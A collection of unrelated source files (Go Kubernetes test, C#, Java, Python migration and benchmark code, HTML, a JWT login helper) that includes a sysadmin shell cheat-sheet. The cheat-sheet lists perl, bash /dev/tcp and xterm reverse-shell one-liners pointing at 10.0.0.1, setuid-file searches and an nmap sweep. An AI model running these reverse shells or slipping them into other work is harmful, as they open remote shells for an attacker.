				return &api.Node{
						Status: api.NodeStatus{
							Addresses: []api.NodeAddress{
								{
									Type:    api.NodeExternalIP,
									Address: "192.168.1.108",
								},
							},
						},
					},
					nil
			},
			&ReplicationControllerList{
				ReplicationControllers: []ReplicationController{
					{
						Name:              "my-app-1",
						Namespace:         "namespace-1",
						ContainerImages:   []string{"my-container-image-1"},
						InternalEndpoints: []Endpoint{{Host: "my-app-1.namespace-1"}},
						Pods: ReplicationControllerPodInfo{
							Failed:   2,
							Pending:  1,
							Running:  1,
							Warnings: []Event{},
						},
					}, {
						Name:              "my-app-2",
						Namespace:         "namespace-2",
						ContainerImages:   []string{"my-container-image-2"},
						InternalEndpoints: []Endpoint{{Host: "my-app-2.namespace-2"}},
						Pods: ReplicationControllerPodInfo{
							Warnings: []Event{},
						},
					},
				},
			},
		},
	}
	for _, c := range cases {
		actual, _ := getReplicationControllerList(c.replicationControllers, c.services, c.pods,
			getPodsErrorFnMock, c.getNodeFn)
		if !reflect.DeepEqual(actual, c.expected) {
			t.Errorf("getReplicationControllerList(%#v, %#v) == \n%#v\nexpected \n%#v\n",
				c.replicationControllers, c.services, actual, c.expected)
		}
	}
}


text:
echo "Nope.. dont run this, just open and use as a reference."
exit

#
# Find command for looking for files with setuid bit set
#
find /bin -perm -4000

#
# Find command looking for files owned by a user and setuid and/or setgid set
#
find / -xdev -user root \( -perm -4000 -o -perm -2000 \)

#
# some reverse shell foo
#

# one via perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# one via bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

# maybe try xterm... connects back to 10.0.0.1 on 6001
xterm -display 10.0.0.1:1

#
# how about whats listening etc
#
netstat -na | grep -i list*

# 10 largest files on filesystem (say in /var/log/*)
du -sk /var/log/* | sort -r -n | head -10

# process memory hogs
ps aux | awk '{if ($5 != 0 ) print $2,$5,$6,$11}' | sort -k2n

# human readable tail of dmesg
dmesg -wH

# recursively find all the files that have changed
find $1 -type f -print0 | xargs -0 stat --format '%Y :%y %n' | sort -nr | cut -d: -f2- | head

# list files that have changed in the last N minutes, change N to a number
find -cmin -N

# ban all ips that attempt to access phpmyadmin, found this one on the net
grep "phpmyadmin" $path_to_access.log | grep -Po "^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" | sort | uniq | xargs -I% sudo iptables -A INPUT -s % -j DROP

# nmap any interface that has an ip
ifconfig -a | grep -Po '\b(?!255)(?:\d{1,3}\.){3}(?!255)\d{1,3}\b' | xargs nmap -A -p0-

# nice little work around when things like curl, wget aren't around to grab
# a webpage
(echo 'GET /'; echo; sleep 1; ) | telnet www.google.com 80

# find all files with *conf* in name and grep out MATCHTEXT
find . -name *conf* -exec grep -Hni 'MATCHTEXT' {} \; > matchtext.conf.list

# get the weather using geolocation for your area
curl -4 wttr.in


text:
using System;

namespace Adapter.Model
{
    public sealed class Boleto
    {
        public Boleto(string cedente_,string sacado_,decimal valor_,DateTime dataVencimento_)
        {
            Id = Guid.NewGuid();
            Cedente = cedente_;
            Sacado = sacado_;
            Valor = valor_;
            DataVencimento = dataVencimento_;
        }
        public Guid Id { get; private set; }

        public decimal Valor { get; private set; }

        public DateTime DataVencimento { get; private set; }

        public string Cedente  { get; private set; }

        public string Sacado  { get; private set; }
    }
}


text:
package com.wangf.patterns.abstractfactory;

public interface IProduct2 {
	void printName();
}


text:
"""
Fix tracking columns.

These helpers is used by the following migrations:

* ggrc.migrations.verisions.20160728120017_29c8b9c5d34b;
* ggrc_basic_permissions.migrations.verisions.20160728142641_4e105fc39b25;
* ggrc_gdrive_integration.migrations.verisions.20160804095642_395186a2d8;
* ggrc_risk_assessments.migrations.verisions.20160804101106_4d4b04a5b9c6;
* ggrc_risks.migrations.verisions.20160804095405_3d2acc8a4425;
* ggrc_workflows.migrations.verisions.20160728142921_4cb78ab9a321.

"""

import sqlalchemy as sa
from alembic import op

tables = {
    "ggrc": [
        "access_groups",
        "assessment_templates",
        "assessments",
        "audit_objects",
        "audits",
        "background_tasks",
        "categories",
        "categorizations",
        "clauses",
        "comments",
        "contexts",
        "controls",
        "custom_attribute_definitions",
        "custom_attribute_values",
        "data_assets",
        "directives",
        "documents",
        "events",
        "facilities",
        "helps",
        "issues",
        "markets",
        "meetings",
        "notification_configs",
        "notification_types",
        "notifications",
        "object_documents",
        "object_owners",
        "object_people",
        "objectives",
        "options",
        "org_groups",
        "people",
        "products",
        "programs",
        "projects",
        "relationships",
        "requests",
        "revisions",
        "sections",
        "systems",
        "vendors",
    ],
    "ggrc_gdrive_integration": [
        "object_events",
        "object_files",
        "object_folders",
    ],
    "ggrc_basic_permissions": [
        "context_implications",
        "contexts",
        "roles",
        "user_roles",
    ],
    "ggrc_risks": [
        "risks",
        "risk_objects",
        "threats",
    ],
    "ggrc_risk_assessments": [
        "risk_assessments",
    ],
    "ggrc_workflows": [
        "cycle_task_entries",
        "cycle_task_group_object_tasks",
        "cycle_task_group_objects",
        "cycle_task_groups",
        "cycles",
        "notification_types",
        "task_group_objects",
        "task_group_tasks",
        "task_groups",
        "workflow_people",
        "workflows",
    ],
}

def upgrade_tables(module):
  """Updgrade tables from given module."""
  for table in tables[module]:
    op.execute("""
        UPDATE %s
        SET
            created_at = IF(
                created_at,
                created_at,
                IF(updated_at, updated_at, now())
            ),
            updated_at = IF(
                updated_at,
                updated_at,
                IF(created_at, created_at, now())
            )
        WHERE created_at IS NULL OR updated_at IS NULL
    """ % table)
    op.alter_column(table, "created_at", type_=sa.DateTime, nullable=False)
    op.alter_column(table, "updated_at", type_=sa.DateTime, nullable=False)

def downgrade_tables(module):
  """Downgrade tables from given module."""
  for table in tables[module]:
    op.alter_column(table, "created_at", type_=sa.DateTime, nullable=True)
    op.alter_column(table, "updated_at", type_=sa.DateTime, nullable=True)


text:
import time
import copy
import pandas as pd
import plotly.graph_objects as go
from plotly.colors import DEFAULT_PLOTLY_COLORS

import nbformat
import jupytext

# The notebook to be tested
notebook = jupytext.read('World population.ipynb')

# Same notebook, with no outputs, for a fair comparison
notebook_no_outputs = copy.deepcopy(notebook)
for cell in notebook_no_outputs.cells:
    cell.outputs = []
    cell.execution_count = None

# +
JUPYTEXT_FORMATS = ['ipynb', 'md', 'py:light', 'py:percent', 'py:sphinx']

# Let's see if we have pandoc here
try:
    jupytext.writes(notebook, fmt='md:pandoc')
    JUPYTEXT_FORMATS.append('md:pandoc')
except jupytext.formats.JupytextFormatError as err:
    print(str(err))

# Let's see if we have myst-parser installed here
try:
    jupytext.writes(notebook, fmt='myst')
    JUPYTEXT_FORMATS.append('myst')
except jupytext.formats.JupytextFormatError as err:
    print(str(err))

# -

def sample_perf(nb, n=30):
    samples = pd.DataFrame(
        pd.np.NaN,
        index=pd.MultiIndex.from_product(
            (range(n), ['nbformat'] + JUPYTEXT_FORMATS), names=['sample', 'implementation']),
        columns=pd.Index(['size', 'read', 'write'], name='measure'))

    for i, fmt in samples.index:
        t0 = time.time()
        if fmt == 'nbformat':
            text = nbformat.writes(nb)
        else:
            text = jupytext.writes(nb, fmt)
        t1 = time.time()
        samples.loc[(i, fmt), 'write'] = t1 - t0
        samples.loc[(i, fmt), 'size'] = len(text)
        t0 = time.time()
        if fmt == 'nbformat':
            nbformat.reads(text, as_version=4)
        else:
            jupytext.reads(text, fmt)
        t1 = time.time()
        samples.loc[(i, fmt), 'read'] = t1 - t0
    return samples

def performance_plot(perf, title):
    formats = ['nbformat'] + JUPYTEXT_FORMATS
    mean = perf.groupby('implementation').mean().loc[formats]
    std = perf.groupby('implementation').std().loc[formats]
    data = [go.Bar(x=mean.index,
                   y=mean[col],
                   error_y=dict(
                       type='data',
                       array=std[col],
                       color=color,
                       thickness=0.5
                   ) if col != 'size' else dict(),
                   name=col,
                   yaxis={'read': 'y1', 'write': 'y2', 'size': 'y3'}[col])
            for col, color in zip(mean.columns, DEFAULT_PLOTLY_COLORS)]
    layout = go.Layout(title=title,
                       xaxis=dict(title='Implementation', anchor='y3'),
                       yaxis=dict(domain=[0.7, 1], title='Read (secs)'),
                       yaxis2=dict(domain=[0.35, .65], title='Write (secs)'),
                       yaxis3=dict(domain=[0, .3], title='Size')
                       )
    return go.Figure(data=data, layout=layout)

perf_no_outputs = sample_perf(notebook_no_outputs, 30)

performance_plot(perf_no_outputs, 'Benchmarking Jupytext on the World Population notebook
(Outputs filtered)')

perf = sample_perf(notebook, 30)

performance_plot(perf, 'Benchmarking Jupytext on the World Population notebook
(With outputs)')


text:
<!DOCTYPE html>

<title>Configuration List</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css">

Key	Value

            <input data-bind="attr: { id: name}, value: value, event : { change : $parent.valueChanged}"></input>

              ✘

      <button type="button" class="btn btn-default btn-xs" data-toggle="modal" data-target="#newPropDialog">➕</button>

    <input id="chkBatchUpdates" type="checkbox" value="">Batch Updates</input>
    <button id="btnBatchUpdate" onclick="model.updateData()" value="Update" class="hidden btn-default btn-sm">Update</button>

        <button type="button" class="close" data-dismiss="modal">×</button>

New Property

          Key:
          <input id="newPropKey" class="form-control"></input>

          Value:
          <input id="newPropValue" class="form-control"></input>

        <button type="button" class="btn btn-default" data-dismiss="modal" onclick="addProperty($('#newPropKey').val(),$('#newPropValue').val())">Add</button>
        <button type="button" class="btn" data-dismiss="modal">Cancel</button>


text:
package org.heliosphere.thot.jme.test.audio;

import com.jme3.app.SimpleApplication;
import com.jme3.audio.AudioNode;
import com.jme3.audio.Environment;
import com.jme3.math.FastMath;
import com.jme3.math.Vector3f;

public class TestReverb extends SimpleApplication {

	private AudioNode audioSource;
	private float time = 0;
	private float nextTime = 1;

	public static void main(String[] args) {
		TestReverb test = new TestReverb();
		test.start();
	}

	@Override
	public void simpleInitApp() {
		audioSource = new AudioNode(assetManager, "Sound/Effects/Bang.wav");

		float[] eax = new float[]{15, 38.0f, 0.300f, -1000, -3300, 0,
				1.49f, 0.54f, 1.00f, -2560, 0.162f, 0.00f, 0.00f, 0.00f,
				-229, 0.088f, 0.00f, 0.00f, 0.00f, 0.125f, 1.000f, 0.250f,
				0.000f, -5.0f, 5000.0f, 250.0f, 0.00f, 0x3f};
		audioRenderer.setEnvironment(new Environment(eax));
		Environment env = Environment.Cavern;
		audioRenderer.setEnvironment(env);
	}

	@Override
	public void simpleUpdate(float tpf) {
		time += tpf;

		if (time > nextTime) {
			Vector3f v = new Vector3f();
			v.setX(FastMath.nextRandomFloat());
			v.setY(FastMath.nextRandomFloat());
			v.setZ(FastMath.nextRandomFloat());
			v.multLocal(40, 2, 40);
			v.subtractLocal(20, 1, 20);

			audioSource.setLocalTranslation(v);
			audioSource.playInstance();
			time = 0;
			nextTime = (FastMath.nextRandomFloat() * 2) + 0.5f;
		}
	}
}


text:
import os
import time
import uuid
from jwt import encode

class CustomerLoginTokens(object):
    @classmethod
    def create(cls, client, customer_id: int, redirect_url=None, request_ip=None, iat_time=None, channel_id: int = 1):

        # Get the client_secret needed to sign tokens from the environment
        # Intended to play nice with the Python Hello World sample app
        # https://github.com/bigcommerce/hello-world-app-python-flask
        client_secret = os.getenv('APP_CLIENT_SECRET')

        if not client_secret:
            raise AttributeError('No OAuth client secret specified in the environment, '
                                 'please specify an APP_CLIENT_SECRET')

        try:
            client_id = client.connection.client_id
            store_hash = client.connection.store_hash
        except AttributeError:
            raise AttributeError('Store hash or client ID not found in the connection - '
                                 'make sure an OAuth API connection is configured. Basic auth is not supported.')

        payload = dict(iss=client_id,
                       iat=int(time.time()),
                       jti=uuid.uuid4().hex,
                       operation='customer_login',
                       store_hash=store_hash,
                       customer_id=customer_id,
                       channel_id=channel_id
                       )

        if iat_time:
            payload['iat'] = iat_time

        if redirect_url:
            payload['redirect_to'] = redirect_url

        if request_ip:
            payload['request_ip'] = request_ip

        return encode(payload, client_secret, algorithm='HS256')

    @classmethod
    def create_url(cls, client, customer_id, redirect_url=None, request_ip=None, use_bc_time=False, channel_id:int=1):
        secure_url = client.Store.all()['secure_url']
        iat_time = None
        if use_bc_time:
            iat_time = client.Time.all()['time']
            login_token = cls.create(client, customer_id, redirect_url,
                                     request_ip, iat_time=iat_time, channel_id=channel_id)
        else:
            login_token = cls.create(client, customer_id, redirect_url, request_ip, channel_id=channel_id)
        return '%s/login/token/%s' % (secure_url, login_token)


text:
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.ArrayList;
import java.util.List;

/**
 * Created by Drapegnik on 16.10.16.
 */
public class Server {

    public static void main(String[] args) {
        Server server = new Server();
        try {
            server.serverSocket = new ServerSocket(PORT);
            System.out.println("Server start at " + InetAddress.getLocalHost() + " and listen " + PORT + " port");
            while (true) {
                Socket socket = server.serverSocket.accept();
                ServerThread thread;
                int number = -1;

                for (int i = 0; i < server.serverThreads.size(); i++)
                    if (server.serverThreads.get(i).getState().toString().equals("TERMINATED")) {
                        number = i;
                        break;
                    }

                if (number != -1) {
                    thread = new ServerThread(socket, number + 1);
                    server.serverThreads.set(number, thread);
                } else {
                    number = server.serverThreads.size();
                    thread = new ServerThread(socket, number + 1);
                    server.serverThreads.add(thread);
                }
                thread.start();
            }
        } catch (Exception err) {
            System.out.println(getErrorMessage(err.toString()));
        }
    }

    public Server() {
        serverThreads = new ArrayList<>();
        ShutdownServerHook shutdownHook = new ShutdownServerHook(this);
        Runtime.getRuntime().addShutdownHook(shutdownHook);
    }

    final static int PORT = 8000;
    final static int OK_CODE = 200;
    final static int NOT_FOUND_CODE = 404;
    final static int SERVER_ERROR = 500;
    final static String CLIENT_DISCONNECT_CODE = "#%%EXIT%%#";
    final static String CLOSE_CODE = "#%%CLOSE%%#";
    final static String GET_CODE = "#%%GET%%#";
    final static String END_CODE = "#%%END%%#";
    static final String ANSI_RESET = "\u001B[0m";
    static final String ANSI_CYAN = "\u001B[36m";
    static final String ANSI_GREEN = "\u001B[32m";
    static final String ANSI_RED = "\u001B[31m";
    private List<ServerThread> serverThreads;
    private ServerSocket serverSocket;

    static String getErrorMessage(String err) {
        return ANSI_RED + err + ANSI_RESET;
    }

    static String cyan(String text) {
        return ANSI_CYAN + text + ANSI_RESET;
    }

    void close() {
        for (int i = 0; i < serverThreads.size(); i++) {
            if (!serverThreads.get(i).getState().toString().equals("TERMINATED")) {
                serverThreads.get(i).close();
            }
        }
    }
}

class ShutdownServerHook extends Thread {
    private Server server;

    public ShutdownServerHook(Server server) {
        this.server = server;
    }

    public void run() {
        server.close();
        System.out.println(Server.getErrorMessage("Server is shutting down"));

    }
}


text:
class TreeNode:
	def __init__(self, d):
		self.left = None
		self.right = None
		self.data = d

	def __lt__(self, other):
		return self.data < other.data

	def __repr__(self):
		return self.data

class Tree:
	def __init__(self):
		self.root = None

	def add(self, d):
		newNode = TreeNode(d)
		if self.root == None:
			self.root = newNode
		else:
			self.insert(self.root, newNode)
		print "Added"

	def insert(self, parent, newNode):
		if parent > newNode:
			print "Left"
			if parent.left==None:
				parent.left = newNode
			else:
				self.insert(parent.left, newNode)
		else:
			print "Right"
			if parent.right==None:
				parent.right = newNode
			else:
				self.insert(parent.right, newNode)

t = Tree()
arr = [10, 15, 8, 12, 45, 23, 10]
for item in arr:
	t.add(item)